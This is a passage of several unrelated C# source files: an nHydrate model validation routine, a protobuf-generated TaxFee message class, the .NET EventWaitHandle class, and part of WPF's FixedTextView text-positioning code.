context.LogError(string.Format(ValidationHelper.ErrorTextPreDefinedNameField, column.Name), string.Empty, this);
else if (name.Match(this.nHydrateModel.CreatedDateColumnName.Replace("_", string.Empty)))
context.LogError(string.Format(ValidationHelper.ErrorTextPreDefinedNameField, column.Name), string.Empty, this);
if (name.Match(this.nHydrateModel.ModifiedByColumnName.Replace("_", string.Empty)))
context.LogError(string.Format(ValidationHelper.ErrorTextPreDefinedNameField, column.Name), string.Empty, this);
else if (name.Match(this.nHydrateModel.ModifiedDateColumnName.Replace("_", string.Empty)))
context.LogError(string.Format(ValidationHelper.ErrorTextPreDefinedNameField, column.Name), string.Empty, this);
if (name.Match(this.nHydrateModel.TimestampColumnName.Replace("_", string.Empty)))
context.LogError(string.Format(ValidationHelper.ErrorTextPreDefinedNameField, column.Name), string.Empty, this);
}
#endregion
#region Verify something is generated
if (columnList.Count != 0)
{
//Make sure all PK are generated
if (this.PrimaryKeyFields.Count != columnList.Count(x => x.IsPrimaryKey == true))
context.LogError(string.Format(ValidationHelper.ErrorTextNoPrimaryKey, this.Name), string.Empty, this);
else if (this.PrimaryKeyFields.Count == 0)
context.LogError(string.Format(ValidationHelper.ErrorTextNoPrimaryKey, this.Name), string.Empty, this);
else if (isPrimaryNull)
context.LogError(ValidationHelper.ErrorTextPrimaryKeyNull, string.Empty, this);
}
#endregion
#region Verify only one timestamp/table
var timestampcount = this.AllowTimestamp ? 1 : 0;
timestampcount += this.Fields.Count(x => x.DataType == DataTypeConstants.Timestamp);
if (timestampcount > 1)
{
context.LogError(string.Format(ValidationHelper.ErrorTextOnlyOneTimestamp, this.Name), string.Empty, this);
}
#endregion
}
}
}
| |
// Generated by the protocol buffer compiler. DO NOT EDIT!
// source: folio/tax_fee.proto
#pragma warning disable 1591, 0612, 3021
#region Designer generated code
using pb = global::Google.Protobuf;
using pbc = global::Google.Protobuf.Collections;
using pbr = global::Google.Protobuf.Reflection;
using scg = global::System.Collections.Generic;
namespace HOLMS.Types.Folio {
/// <summary>Holder for reflection information generated from folio/tax_fee.proto</summary>
public static partial class TaxFeeReflection {
#region Descriptor
/// <summary>File descriptor for folio/tax_fee.proto</summary>
public static pbr::FileDescriptor Descriptor {
get { return descriptor; }
}
private static pbr::FileDescriptor descriptor;
static TaxFeeReflection() {
byte[] descriptorData = global::System.Convert.FromBase64String(
string.Concat(
"ChNmb2xpby90YXhfZmVlLnByb3RvEhFob2xtcy50eXBlcy5mb2xpbxocZm9s",
"aW8vdGF4X2ZlZV9jYXRlZ29yeS5wcm90bxodZm9saW8vdGF4X2ZlZV9pbmRp",
"Y2F0b3IucHJvdG8aKG1vbmV5L2FjY291bnRpbmcvYWNjb3VudF9pbmRpY2F0",
"b3IucHJvdG8aIXByaW1pdGl2ZS9maXhlZF9wb2ludF9yYXRpby5wcm90byKR",
"AgoGVGF4RmVlEjUKCWVudGl0eV9pZBgBIAEoCzIiLmhvbG1zLnR5cGVzLmZv",
"bGlvLlRheEZlZUluZGljYXRvchITCgtkZXNjcmlwdGlvbhgCIAEoCRI4Cgh0",
"YXhfcmF0ZRgDIAEoCzImLmhvbG1zLnR5cGVzLnByaW1pdGl2ZS5GaXhlZFBv",
"aW50UmF0aW8SMwoIY2F0ZWdvcnkYBCABKA4yIS5ob2xtcy50eXBlcy5mb2xp",
"by5UYXhGZWVDYXRlZ29yeRJMChRsaWFiaWxpdHlfYWNjb3VudF9pZBgFIAEo",
"CzIuLmhvbG1zLnR5cGVzLm1vbmV5LmFjY291bnRpbmcuQWNjb3VudEluZGlj",
"YXRvckIUqgIRSE9MTVMuVHlwZXMuRm9saW9iBnByb3RvMw=="));
descriptor = pbr::FileDescriptor.FromGeneratedCode(descriptorData,
new pbr::FileDescriptor[] { global::HOLMS.Types.Folio.TaxFeeCategoryReflection.Descriptor, global::HOLMS.Types.Folio.TaxFeeIndicatorReflection.Descriptor, global::HOLMS.Types.Money.Accounting.AccountIndicatorReflection.Descriptor, global::HOLMS.Types.Primitive.FixedPointRatioReflection.Descriptor, },
new pbr::GeneratedClrTypeInfo(null, new pbr::GeneratedClrTypeInfo[] {
new pbr::GeneratedClrTypeInfo(typeof(global::HOLMS.Types.Folio.TaxFee), global::HOLMS.Types.Folio.TaxFee.Parser, new[]{ "EntityId", "Description", "TaxRate", "Category", "LiabilityAccountId" }, null, null, null)
}));
}
#endregion
}
#region Messages
public sealed partial class TaxFee : pb::IMessage<TaxFee> {
private static readonly pb::MessageParser<TaxFee> _parser = new pb::MessageParser<TaxFee>(() => new TaxFee());
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public static pb::MessageParser<TaxFee> Parser { get { return _parser; } }
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public static pbr::MessageDescriptor Descriptor {
get { return global::HOLMS.Types.Folio.TaxFeeReflection.Descriptor.MessageTypes[0]; }
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
pbr::MessageDescriptor pb::IMessage.Descriptor {
get { return Descriptor; }
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public TaxFee() {
OnConstruction();
}
partial void OnConstruction();
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public TaxFee(TaxFee other) : this() {
EntityId = other.entityId_ != null ? other.EntityId.Clone() : null;
description_ = other.description_;
TaxRate = other.taxRate_ != null ? other.TaxRate.Clone() : null;
category_ = other.category_;
LiabilityAccountId = other.liabilityAccountId_ != null ? other.LiabilityAccountId.Clone() : null;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public TaxFee Clone() {
return new TaxFee(this);
}
/// <summary>Field number for the "entity_id" field.</summary>
public const int EntityIdFieldNumber = 1;
private global::HOLMS.Types.Folio.TaxFeeIndicator entityId_;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public global::HOLMS.Types.Folio.TaxFeeIndicator EntityId {
get { return entityId_; }
set {
entityId_ = value;
}
}
/// <summary>Field number for the "description" field.</summary>
public const int DescriptionFieldNumber = 2;
private string description_ = "";
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public string Description {
get { return description_; }
set {
description_ = pb::ProtoPreconditions.CheckNotNull(value, "value");
}
}
/// <summary>Field number for the "tax_rate" field.</summary>
public const int TaxRateFieldNumber = 3;
private global::HOLMS.Types.Primitive.FixedPointRatio taxRate_;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public global::HOLMS.Types.Primitive.FixedPointRatio TaxRate {
get { return taxRate_; }
set {
taxRate_ = value;
}
}
/// <summary>Field number for the "category" field.</summary>
public const int CategoryFieldNumber = 4;
private global::HOLMS.Types.Folio.TaxFeeCategory category_ = 0;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public global::HOLMS.Types.Folio.TaxFeeCategory Category {
get { return category_; }
set {
category_ = value;
}
}
/// <summary>Field number for the "liability_account_id" field.</summary>
public const int LiabilityAccountIdFieldNumber = 5;
private global::HOLMS.Types.Money.Accounting.AccountIndicator liabilityAccountId_;
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public global::HOLMS.Types.Money.Accounting.AccountIndicator LiabilityAccountId {
get { return liabilityAccountId_; }
set {
liabilityAccountId_ = value;
}
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override bool Equals(object other) {
return Equals(other as TaxFee);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public bool Equals(TaxFee other) {
if (ReferenceEquals(other, null)) {
return false;
}
if (ReferenceEquals(other, this)) {
return true;
}
if (!object.Equals(EntityId, other.EntityId)) return false;
if (Description != other.Description) return false;
if (!object.Equals(TaxRate, other.TaxRate)) return false;
if (Category != other.Category) return false;
if (!object.Equals(LiabilityAccountId, other.LiabilityAccountId)) return false;
return true;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override int GetHashCode() {
int hash = 1;
if (entityId_ != null) hash ^= EntityId.GetHashCode();
if (Description.Length != 0) hash ^= Description.GetHashCode();
if (taxRate_ != null) hash ^= TaxRate.GetHashCode();
if (Category != 0) hash ^= Category.GetHashCode();
if (liabilityAccountId_ != null) hash ^= LiabilityAccountId.GetHashCode();
return hash;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public override string ToString() {
return pb::JsonFormatter.ToDiagnosticString(this);
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void WriteTo(pb::CodedOutputStream output) {
if (entityId_ != null) {
output.WriteRawTag(10);
output.WriteMessage(EntityId);
}
if (Description.Length != 0) {
output.WriteRawTag(18);
output.WriteString(Description);
}
if (taxRate_ != null) {
output.WriteRawTag(26);
output.WriteMessage(TaxRate);
}
if (Category != 0) {
output.WriteRawTag(32);
output.WriteEnum((int) Category);
}
if (liabilityAccountId_ != null) {
output.WriteRawTag(42);
output.WriteMessage(LiabilityAccountId);
}
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public int CalculateSize() {
int size = 0;
if (entityId_ != null) {
size += 1 + pb::CodedOutputStream.ComputeMessageSize(EntityId);
}
if (Description.Length != 0) {
size += 1 + pb::CodedOutputStream.ComputeStringSize(Description);
}
if (taxRate_ != null) {
size += 1 + pb::CodedOutputStream.ComputeMessageSize(TaxRate);
}
if (Category != 0) {
size += 1 + pb::CodedOutputStream.ComputeEnumSize((int) Category);
}
if (liabilityAccountId_ != null) {
size += 1 + pb::CodedOutputStream.ComputeMessageSize(LiabilityAccountId);
}
return size;
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void MergeFrom(TaxFee other) {
if (other == null) {
return;
}
if (other.entityId_ != null) {
if (entityId_ == null) {
entityId_ = new global::HOLMS.Types.Folio.TaxFeeIndicator();
}
EntityId.MergeFrom(other.EntityId);
}
if (other.Description.Length != 0) {
Description = other.Description;
}
if (other.taxRate_ != null) {
if (taxRate_ == null) {
taxRate_ = new global::HOLMS.Types.Primitive.FixedPointRatio();
}
TaxRate.MergeFrom(other.TaxRate);
}
if (other.Category != 0) {
Category = other.Category;
}
if (other.liabilityAccountId_ != null) {
if (liabilityAccountId_ == null) {
liabilityAccountId_ = new global::HOLMS.Types.Money.Accounting.AccountIndicator();
}
LiabilityAccountId.MergeFrom(other.LiabilityAccountId);
}
}
[global::System.Diagnostics.DebuggerNonUserCodeAttribute]
public void MergeFrom(pb::CodedInputStream input) {
uint tag;
while ((tag = input.ReadTag()) != 0) {
switch(tag) {
default:
input.SkipLastField();
break;
case 10: {
if (entityId_ == null) {
entityId_ = new global::HOLMS.Types.Folio.TaxFeeIndicator();
}
input.ReadMessage(entityId_);
break;
}
case 18: {
Description = input.ReadString();
break;
}
case 26: {
if (taxRate_ == null) {
taxRate_ = new global::HOLMS.Types.Primitive.FixedPointRatio();
}
input.ReadMessage(taxRate_);
break;
}
case 32: {
category_ = (global::HOLMS.Types.Folio.TaxFeeCategory) input.ReadEnum();
break;
}
case 42: {
if (liabilityAccountId_ == null) {
liabilityAccountId_ = new global::HOLMS.Types.Money.Accounting.AccountIndicator();
}
input.ReadMessage(liabilityAccountId_);
break;
}
}
}
}
}
#endregion
}
#endregion Designer generated code
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
//
/*=============================================================================
**
**
**
** Purpose: Base class for representing Events
**
**
=============================================================================*/
#if !FEATURE_MACL
namespace System.Security.AccessControl
{
public class EventWaitHandleSecurity
{
}
public enum EventWaitHandleRights
{
}
}
#endif
namespace System.Threading
{
using System;
using System.Threading;
using System.Runtime.CompilerServices;
using System.Security.Permissions;
using System.IO;
using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Security.AccessControl;
using System.Diagnostics.Contracts;
[HostProtection(Synchronization=true, ExternalThreading=true)]
[ComVisibleAttribute(true)]
public class EventWaitHandle : WaitHandle
{
[System.Security.SecuritySafeCritical] // auto-generated
public EventWaitHandle(bool initialState, EventResetMode mode) : this(initialState,mode,null) { }
[System.Security.SecurityCritical] // auto-generated_required
public EventWaitHandle(bool initialState, EventResetMode mode, string name)
{
if(name != null)
{
#if PLATFORM_UNIX
throw new PlatformNotSupportedException(Environment.GetResourceString("PlatformNotSupported_NamedSynchronizationPrimitives"));
#else
if (System.IO.Path.MaxPath < name.Length)
{
throw new ArgumentException(Environment.GetResourceString("Argument_WaitHandleNameTooLong", Path.MaxPath), nameof(name));
}
#endif
}
Contract.EndContractBlock();
SafeWaitHandle _handle = null;
switch(mode)
{
case EventResetMode.ManualReset:
_handle = Win32Native.CreateEvent(null, true, initialState, name);
break;
case EventResetMode.AutoReset:
_handle = Win32Native.CreateEvent(null, false, initialState, name);
break;
default:
throw new ArgumentException(Environment.GetResourceString("Argument_InvalidFlag",name));
};
if (_handle.IsInvalid)
{
int errorCode = Marshal.GetLastWin32Error();
_handle.SetHandleAsInvalid();
if(null != name && 0 != name.Length && Win32Native.ERROR_INVALID_HANDLE == errorCode)
throw new WaitHandleCannotBeOpenedException(Environment.GetResourceString("Threading.WaitHandleCannotBeOpenedException_InvalidHandle",name));
__Error.WinIOError(errorCode, name);
}
SetHandleInternal(_handle);
}
[System.Security.SecurityCritical] // auto-generated_required
public EventWaitHandle(bool initialState, EventResetMode mode, string name, out bool createdNew)
: this(initialState, mode, name, out createdNew, null)
{
}
[System.Security.SecurityCritical] // auto-generated_required
public unsafe EventWaitHandle(bool initialState, EventResetMode mode, string name, out bool createdNew, EventWaitHandleSecurity eventSecurity)
{
if(name != null)
{
#if PLATFORM_UNIX
throw new PlatformNotSupportedException(Environment.GetResourceString("PlatformNotSupported_NamedSynchronizationPrimitives"));
#else
if (System.IO.Path.MaxPath < name.Length)
{
throw new ArgumentException(Environment.GetResourceString("Argument_WaitHandleNameTooLong", Path.MaxPath), nameof(name));
}
#endif
}
Contract.EndContractBlock();
Win32Native.SECURITY_ATTRIBUTES secAttrs = null;
#if FEATURE_MACL
// For ACL's, get the security descriptor from the EventWaitHandleSecurity.
if (eventSecurity != null) {
secAttrs = new Win32Native.SECURITY_ATTRIBUTES();
secAttrs.nLength = (int)Marshal.SizeOf(secAttrs);
byte[] sd = eventSecurity.GetSecurityDescriptorBinaryForm();
byte* pSecDescriptor = stackalloc byte[sd.Length];
Buffer.Memcpy(pSecDescriptor, 0, sd, 0, sd.Length);
secAttrs.pSecurityDescriptor = pSecDescriptor;
}
#endif
SafeWaitHandle _handle = null;
Boolean isManualReset;
switch(mode)
{
case EventResetMode.ManualReset:
isManualReset = true;
break;
case EventResetMode.AutoReset:
isManualReset = false;
break;
default:
throw new ArgumentException(Environment.GetResourceString("Argument_InvalidFlag",name));
};
_handle = Win32Native.CreateEvent(secAttrs, isManualReset, initialState, name);
int errorCode = Marshal.GetLastWin32Error();
if (_handle.IsInvalid)
{
_handle.SetHandleAsInvalid();
if(null != name && 0 != name.Length && Win32Native.ERROR_INVALID_HANDLE == errorCode)
throw new WaitHandleCannotBeOpenedException(Environment.GetResourceString("Threading.WaitHandleCannotBeOpenedException_InvalidHandle",name));
__Error.WinIOError(errorCode, name);
}
createdNew = errorCode != Win32Native.ERROR_ALREADY_EXISTS;
SetHandleInternal(_handle);
}
[System.Security.SecurityCritical] // auto-generated
private EventWaitHandle(SafeWaitHandle handle)
{
SetHandleInternal(handle);
}
[System.Security.SecurityCritical] // auto-generated_required
public static EventWaitHandle OpenExisting(string name)
{
#if !FEATURE_MACL
return OpenExisting(name, (EventWaitHandleRights)0);
#else
return OpenExisting(name, EventWaitHandleRights.Modify | EventWaitHandleRights.Synchronize);
#endif
}
[System.Security.SecurityCritical] // auto-generated_required
public static EventWaitHandle OpenExisting(string name, EventWaitHandleRights rights)
{
EventWaitHandle result;
switch (OpenExistingWorker(name, rights, out result))
{
case OpenExistingResult.NameNotFound:
throw new WaitHandleCannotBeOpenedException();
case OpenExistingResult.NameInvalid:
throw new WaitHandleCannotBeOpenedException(Environment.GetResourceString("Threading.WaitHandleCannotBeOpenedException_InvalidHandle", name));
case OpenExistingResult.PathNotFound:
__Error.WinIOError(Win32Native.ERROR_PATH_NOT_FOUND, "");
return result; //never executes
default:
return result;
}
}
[System.Security.SecurityCritical] // auto-generated_required
public static bool TryOpenExisting(string name, out EventWaitHandle result)
{
#if !FEATURE_MACL
return OpenExistingWorker(name, (EventWaitHandleRights)0, out result) == OpenExistingResult.Success;
#else
return OpenExistingWorker(name, EventWaitHandleRights.Modify | EventWaitHandleRights.Synchronize, out result) == OpenExistingResult.Success;
#endif
}
[System.Security.SecurityCritical] // auto-generated_required
public static bool TryOpenExisting(string name, EventWaitHandleRights rights, out EventWaitHandle result)
{
return OpenExistingWorker(name, rights, out result) == OpenExistingResult.Success;
}
[System.Security.SecurityCritical] // auto-generated_required
private static OpenExistingResult OpenExistingWorker(string name, EventWaitHandleRights rights, out EventWaitHandle result)
{
#if PLATFORM_UNIX
throw new PlatformNotSupportedException(Environment.GetResourceString("PlatformNotSupported_NamedSynchronizationPrimitives"));
#else
if (name == null)
{
throw new ArgumentNullException(nameof(name), Environment.GetResourceString("ArgumentNull_WithParamName"));
}
if(name.Length == 0)
{
throw new ArgumentException(Environment.GetResourceString("Argument_EmptyName"), nameof(name));
}
if(null != name && System.IO.Path.MaxPath < name.Length)
{
throw new ArgumentException(Environment.GetResourceString("Argument_WaitHandleNameTooLong", Path.MaxPath), nameof(name));
}
Contract.EndContractBlock();
result = null;
#if FEATURE_MACL
SafeWaitHandle myHandle = Win32Native.OpenEvent((int) rights, false, name);
#else
SafeWaitHandle myHandle = Win32Native.OpenEvent(Win32Native.EVENT_MODIFY_STATE | Win32Native.SYNCHRONIZE, false, name);
#endif
if (myHandle.IsInvalid)
{
int errorCode = Marshal.GetLastWin32Error();
if(Win32Native.ERROR_FILE_NOT_FOUND == errorCode || Win32Native.ERROR_INVALID_NAME == errorCode)
return OpenExistingResult.NameNotFound;
if (Win32Native.ERROR_PATH_NOT_FOUND == errorCode)
return OpenExistingResult.PathNotFound;
if(null != name && 0 != name.Length && Win32Native.ERROR_INVALID_HANDLE == errorCode)
return OpenExistingResult.NameInvalid;
//this is for passed through Win32Native Errors
__Error.WinIOError(errorCode,"");
}
result = new EventWaitHandle(myHandle);
return OpenExistingResult.Success;
#endif
}
[System.Security.SecuritySafeCritical] // auto-generated
public bool Reset()
{
bool res = Win32Native.ResetEvent(safeWaitHandle);
if (!res)
__Error.WinIOError();
return res;
}
[System.Security.SecuritySafeCritical] // auto-generated
public bool Set()
{
bool res = Win32Native.SetEvent(safeWaitHandle);
if (!res)
__Error.WinIOError();
return res;
}
#if FEATURE_MACL
[System.Security.SecuritySafeCritical] // auto-generated
public EventWaitHandleSecurity GetAccessControl()
{
return new EventWaitHandleSecurity(safeWaitHandle, AccessControlSections.Access | AccessControlSections.Owner | AccessControlSections.Group);
}
[System.Security.SecuritySafeCritical] // auto-generated
public void SetAccessControl(EventWaitHandleSecurity eventSecurity)
{
if (eventSecurity == null)
throw new ArgumentNullException(nameof(eventSecurity));
Contract.EndContractBlock();
eventSecurity.Persist(safeWaitHandle);
}
#endif
}
}
| |
//---------------------------------------------------------------------------
//
// <copyright file="FixedTextView.cs" company="Microsoft">
// Copyright (C) Microsoft Corporation. All rights reserved.
// </copyright>
//
// Description: TextView implementation for FixedDocument.
//
// History:
// 10/29/2003 : zhenbinx - Created
// 06/25/2004 : [....] - Performance work
// 07/23/2004 : zhenbinx - Modify it to fit new per-DocumentPage TextView model
//
//---------------------------------------------------------------------------
namespace System.Windows.Documents
{
using MS.Internal;
using MS.Internal.Documents;
using MS.Internal.Media;
using MS.Utility;
using System.Collections;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.Windows.Documents;
using System.Windows.Controls;
using System.Windows.Shapes;
using System.Windows.Media;
using System.Windows.Media.TextFormatting; // CharacterHit
using System;
/// <summary>
/// TextView for each individual FixedDocumentPage
/// </summary>
internal sealed class FixedTextView : TextViewBase
{
//-------------------------------------------------------------------
//
// Constructors
//
//-------------------------------------------------------------------
#region Constructors
internal FixedTextView(FixedDocumentPage docPage)
{
_docPage = docPage;
}
#endregion Constructors
//-------------------------------------------------------------------
//
// Internal Methods
//
//-------------------------------------------------------------------
#region Internal Methods
/// <summary>
/// Retrieves a position matching a point.
/// </summary>
/// <param name="point">
/// Point in pixel coordinates to test.
/// </param>
/// <param name="snapToText">
/// If true, this method must always return a positioned text position
/// (the closest position as calculated by the control's heuristics)
/// unless the point is outside the boundaries of the page.
/// If false, this method should return null position, if the test
/// point does not fall within any character bounding box.
/// </param>
/// <returns>
/// A text position and its orientation matching or closest to the point.
/// </returns>
/// <exception cref="System.InvalidOperationException">
/// Throws InvalidOperationException if IsValid is false.
/// If IsValid returns false, Validate method must be called before
/// calling this method.
/// </exception>
internal override ITextPointer GetTextPositionFromPoint(Point point, bool snapToText)
{
//Return ITextPointer to the end of this view in this special case
if (point.Y == Double.MaxValue && point.X == Double.MaxValue)
{
FixedPosition fixedp;
ITextPointer textPos = this.End;
if (_GetFixedPosition(this.End, out fixedp))
{
textPos = _CreateTextPointer(fixedp, LogicalDirection.Backward);
if (textPos == null)
{
textPos = this.End;
}
}
return textPos;
}
ITextPointer pos = null;
UIElement e;
bool isHit = _HitTest(point, out e);
if (isHit)
{
Glyphs g = e as Glyphs;
if (g != null)
{
pos = _CreateTextPointerFromGlyphs(g, point);
}
else if (e is Image)
{
Image im = (Image)e;
FixedPosition fixedp = new FixedPosition(this.FixedPage.CreateFixedNode(this.PageIndex, im), 0);
pos = _CreateTextPointer(fixedp, LogicalDirection.Forward);
}
else if (e is Path)
{
Path p = (Path)e;
if (p.Fill is ImageBrush)
{
FixedPosition fixedp = new FixedPosition(this.FixedPage.CreateFixedNode(this.PageIndex, p), 0);
pos = _CreateTextPointer(fixedp, LogicalDirection.Forward);
}
}
}
if (snapToText && pos == null)
{
pos = _SnapToText(point);
Debug.Assert(pos != null);
}
DocumentsTrace.FixedTextOM.TextView.Trace(string.Format("GetTextPositionFromPoint P{0}, STT={1}, CP={2}", point, snapToText, pos == null ? "null" : ((FixedTextPointer)pos).ToString()));
return pos;
}
/// <summary>
/// Retrieves the height and offset, in pixels, of the edge of
/// the object/character represented by position.
/// </summary>
/// <param name="position">
/// Position of an object/character.
/// </param>
/// <param name="transform">
/// Transform to be applied to returned rect
/// </param>
/// <returns>
/// The height, in pixels, of the edge of the object/character
/// represented by position.
/// </returns>
/// <exception cref="System.InvalidOperationException">
/// Throws InvalidOperationException if IsValid is false.
/// If IsValid returns false, Validate method must be called before
/// calling this method.
/// </exception>
/// <remarks>
/// Rect.Width is always 0.
/// Output parameter Transform is always Identity. It is not expected that editing scenarios
/// will require speparate transform with raw rectangle for this case.
/// If the document is empty, then this method returns the expected
/// height of a character, if placed at the specified position.
/// </remarks>
internal override Rect GetRawRectangleFromTextPosition(ITextPointer position, out Transform transform)
{
#if DEBUG
DocumentsTrace.FixedTextOM.TextView.Trace(string.Format("GetRectFromTextPosition {0}, {1}", (FixedTextPointer)position, position.LogicalDirection));
#endif
FixedTextPointer ftp = Container.VerifyPosition(position);
FixedPosition fixedp;
// need a default caret size, otherwise infinite corners cause text editor and MultiPageTextView problems.
// Initialize transform to Identity. This function always returns Identity transform.
Rect designRect = new Rect(0, 0, 0, 10);
transform = Transform.Identity;
Debug.Assert(ftp != null);
if (ftp.FlowPosition.IsBoundary)
{
if (!_GetFirstFixedPosition(ftp, out fixedp))
{
return designRect;
}
}
else if (!_GetFixedPosition(ftp, out fixedp))
{
//
// This is the start/end element, we need to find out the next element and return the next element
// start offset/height.
//
if (position.GetPointerContext(LogicalDirection.Forward) != TextPointerContext.None)
{
ITextPointer psNext = position.CreatePointer(1);
FixedTextPointer ftpNext = Container.VerifyPosition(psNext);
if (!_GetFixedPosition(ftpNext, out fixedp))
{
return designRect;
}
}
else
{
return designRect;
}
}
if (fixedp.Page != this.PageIndex)
{
return designRect;
}
DependencyObject element = this.FixedPage.GetElement(fixedp.Node);
if (element is Glyphs)
{
Glyphs g = (Glyphs)element;
designRect = _GetGlyphRunDesignRect(g, fixedp.Offset, fixedp.Offset);
// need to do transform
GeneralTransform tran = g.TransformToAncestor(this.FixedPage);
designRect = _GetTransformedCaretRect(tran, designRect.TopLeft, designRect.Height);
}
else if (element is Image)
{
Image image = (Image)element;
GeneralTransform tran = image.TransformToAncestor(this.FixedPage);
Point offset = new Point(0, 0);
if (fixedp.Offset > 0)
{
offset.X += image.ActualWidth;
}
designRect = _GetTransformedCaretRect(tran, offset, image.ActualHeight);
}
else if (element is Path)
{
Path path = (Path)element;
GeneralTransform tran = path.TransformToAncestor(this.FixedPage);
Rect bounds = path.Data.Bounds;
Point offset = bounds.TopLeft;
if (fixedp.Offset > 0)
{
offset.X += bounds.Width;
}
designRect = _GetTransformedCaretRect(tran, offset, bounds.Height);
}
return designRect;
}
/// <summary>
/// <see cref="TextViewBase.GetTightBoundingGeometryFromTextPositions"/>
/// </summary>
internal override Geometry GetTightBoundingGeometryFromTextPositions(ITextPointer startPosition, ITextPointer endPosition)
{
PathGeometry boundingGeometry = new PathGeometry();
Debug.Assert(startPosition != null && this.Contains(startPosition));
Debug.Assert(endPosition != null && this.Contains(endPosition));
Dictionary<FixedPage, ArrayList> highlights = new Dictionary<FixedPage,ArrayList>();
FixedTextPointer startftp = this.Container.VerifyPosition(startPosition);
FixedTextPointer endftp = this.Container.VerifyPosition(endPosition);
this.Container.GetMultiHighlights(startftp, endftp, highlights, FixedHighlightType.TextSelection, null, null);
ArrayList highlightList;
highlights.TryGetValue(this.FixedPage, out highlightList);
if (highlightList != null)
{
foreach (FixedHighlight fh in highlightList)
{
if (fh.HighlightType == FixedHighlightType.None)
{
continue;
}
Rect backgroundRect = fh.ComputeDesignRect();
if (backgroundRect == Rect.Empty)
{
continue;
}
GeneralTransform transform = fh.Element.TransformToAncestor(this.FixedPage);
Transform t = transform.AffineTransform;
if (t == null)
{
t = Transform.Identity;
}
Glyphs g = fh.Glyphs;
if (fh.Element.Clip != null)
{
Rect clipRect = fh.Element.Clip.Bounds;
backgroundRect.Intersect(clipRect);
}
Geometry thisGeometry = new RectangleGeometry(backgroundRect);
thisGeometry.Transform = t;
backgroundRect = transform.TransformBounds(backgroundRect);
boundingGeometry.AddGeometry(thisGeometry);
}
}
return boundingGeometry;
}
/// <summary>
/// Retrieves an oriented text position matching position advanced by
/// a number of lines from its initial position.
/// </summary>
/// <param name="position">
/// Initial text position of an object/character.
/// </param>
/// <param name="suggestedX">
/// The suggested X offset, in pixels, of text position on the destination
/// line. If suggestedX is set to Double.NaN it will be ignored, otherwise
/// the method will try to find a position on the destination line closest
/// to suggestedX.
/// </param>
/// <param name="count">
/// Number of lines to advance. Negative means move backwards.
/// </param>
/// <param name="newSuggestedX">
/// newSuggestedX is the offset at the position moved (useful when moving
/// between columns or pages).
/// </param>
/// <param name="linesMoved">
/// linesMoved indicates the number of lines moved, which may be less
/// than count if there is no more content.
/// </param>
/// <returns>
/// A TextPointer and its orientation matching suggestedX on the
/// destination line.
/// </returns>
/// <exception cref="System.InvalidOperationException">
/// Throws InvalidOperationException if IsValid is false.
/// If IsValid returns false, Validate method must be called before
/// calling this method.
/// </exception>
internal override ITextPointer GetPositionAtNextLine(ITextPointer position, double suggestedX, int count, out double newSuggestedX, out int linesMoved)
{
newSuggestedX = suggestedX;
linesMoved = 0;
#if DEBUG
DocumentsTrace.FixedTextOM.TextView.Trace(string.Format("FixedTextView.MoveToLine {0}, {1}, {2}, {3}", (FixedTextPointer)position, position.LogicalDirection, suggestedX, count));
#endif
FixedPosition fixedp;
LogicalDirection edge = position.LogicalDirection;
LogicalDirection scanDir = LogicalDirection.Forward;
ITextPointer pos = position;
FixedTextPointer ftp = Container.VerifyPosition(position);
FixedTextPointer nav = new FixedTextPointer(true, edge, (FlowPosition)ftp.FlowPosition.Clone());
//Skip any formatting tags
_SkipFormattingTags(nav);
bool gotFixedPosition = false;
if ( count == 0
|| ((gotFixedPosition = _GetFixedPosition(nav, out fixedp))
&& fixedp.Page != this.PageIndex )
)
{
//Invalid text position, so do nothing. PS #963924
return position;
}
if (count < 0)
{
count = -count;
scanDir = LogicalDirection.Backward;
}
if (!gotFixedPosition)
{
// move to next insertion position in direction, provided we're in this view
if (this.Contains(position))
{
nav = new FixedTextPointer(true, scanDir, (FlowPosition)ftp.FlowPosition.Clone());
((ITextPointer)nav).MoveToInsertionPosition(scanDir);
((ITextPointer)nav).MoveToNextInsertionPosition(scanDir);
if (this.Contains(nav))
{
// make sure we haven't changed pages
linesMoved = (scanDir == LogicalDirection.Forward) ? 1 : -1;
return nav;
}
}
return position;
}
if (DoubleUtil.IsNaN(suggestedX))
{
suggestedX = 0;
}
while (count > linesMoved)
{
if (!_GetNextLineGlyphs(ref fixedp, ref edge, suggestedX, scanDir))
break;
linesMoved++;
}
if (linesMoved == 0)
{
pos = position.CreatePointer();
return pos;
}
if (scanDir == LogicalDirection.Backward)
{
linesMoved = -linesMoved;
}
pos = _CreateTextPointer(fixedp, edge);
Debug.Assert(pos != null);
if (pos.CompareTo(position) == 0)
{
linesMoved = 0;
}
return pos;
}
/// <summary>
/// Determines if a position is located between two caret units.
/// </summary>
/// <param name="position">
/// Position to test.
/// </param>
/// <returns>
/// Returns true if the specified position precedes or follows
/// the first or last code point of a caret unit, respectively.
/// </returns>
/// <exception cref="System.InvalidOperationException">
/// Throws InvalidOperationException if IsValid is false.
/// If IsValid returns false, Validate method must be called before
/// calling this method.
/// </exception>
/// <remarks>
/// In the context of this method, "caret unit" refers to a group
/// of one or more Unicode code points that map to a single rendered
/// glyph.
/// </remarks>
internal override bool IsAtCaretUnitBoundary(ITextPointer position)
{
FixedTextPointer ftp = Container.VerifyPosition(position);
